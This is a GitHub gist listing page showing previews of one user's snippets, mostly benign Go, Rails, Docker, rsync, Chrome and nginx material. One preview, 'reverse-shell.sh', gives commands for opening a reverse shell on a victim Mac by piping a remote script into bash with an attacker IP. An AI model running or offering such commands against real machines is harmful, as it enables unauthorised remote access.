Skip to content

Instantly share code, notes, and snippets.

@mattes
mattes / check.go
Last active April 4, 2024 22:40
Check if file or directory exists in Golang
if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) {
// path/to/whatever does not exist
}
if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) {
// path/to/whatever exists
}
@mattes
mattes / rails-google-compute-deploy.md
Last active April 3, 2024 19:47
My own Heroku in 30 mins

Deploy Rails apps to Google Cloud Compute Engine

  • Zero Downtime
  • Graceful shutdowns
  • Via Github Actions
  • Zero infrastructure management overhead

Overview

The general idea is to have Github Actions test, build and deploy a Rails app to Google Cloud Compute Engine.

@mattes
mattes / reverse-shell.sh
Last active March 31, 2024 20:28
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@mattes
mattes / boot2docker-nfs.rb
Last active December 4, 2023 12:07
docker-machine/ boot2docker with NFS instead of vboxsf
#!/usr/bin/env ruby
# Usage
# $ docker-machine create my-machine123 -d virtualbox
# $ ruby <(curl -L https://git.io/vvvco) my-machine123
# https://gist.github.com/mattes/4d7f435d759ca2581347
require 'erb'
bootlocalsh = %Q(#/bin/bash
@mattes
mattes / gist:3990176
Created October 31, 2012 21:54
update rsync on mac os to rsync 3.0.8

Do in Terminal (requires XCode with Command line tools installed):

curl -O http://rsync.samba.org/ftp/rsync/src/rsync-3.0.8.tar.gz
tar -xzvf rsync-3.0.8.tar.gz
rm rsync-3.0.8.tar.gz
curl -O http://rsync.samba.org/ftp/rsync/src/rsync-patches-3.0.8.tar.gz
tar -xzvf rsync-patches-3.0.8.tar.gz
rm rsync-patches-3.0.8.tar.gz
cd rsync-3.0.8

patch -p1

@mattes
mattes / mkcard.sh
Created October 22, 2012 19:47
format sd card for arch linux and others
#!/bin/bash
# Quelle: http://omappedia.org/wiki/Minimal-FS_SD_Configuration, 06.06.2012
if [ ! "$1" = "/dev/sda" ] ; then
unset LANG
DRIVE=$1
if [ -b "$DRIVE" ] ; then
dd if=/dev/zero of=$DRIVE bs=1024 count=1024
SIZE=`fdisk -l $DRIVE | grep Disk | awk '{print $5}'`
echo DISK SIZE - $SIZE bytes
CYLINDERS=`echo $SIZE/255/63/512 | bc`
@mattes
mattes / gist:40b5fac8231ca567e94416e7c88d2c10
Last active October 5, 2022 08:24
Multiple Google Chrome instances on MacOS
# http://peter.sh/experiments/chromium-command-line-switches/
mkdir -p /tmp/t1
open -na "Google Chrome" --args --user-data-dir=/tmp/t1 --remote-debugging-port=9222
# protip: press cmd+h to hide window
@mattes
mattes / default.conf
Last active June 4, 2022 06:43
redash.io setup
upstream redash {
server redash:5000;
}
server {
listen 80;
location / {
return 301 https://$host$request_uri;
}
@mattes
mattes / og.txt
Last active May 7, 2022 01:53
Open Graph debugger
http://ogp.me/
https://moz.com/blog/meta-data-templates-123
https://search.google.com/structured-data/testing-tool
https://developers.facebook.com/tools/debug/og/object - https://developers.facebook.com/docs/reference/opengraph
https://cards-dev.twitter.com/validator - https://dev.twitter.com/cards/types
https://developers.pinterest.com/tools/url-debugger/ - https://developers.pinterest.com/docs/rich-pins/overview/
https://developer.linkedin.com/docs/share-on-linkedin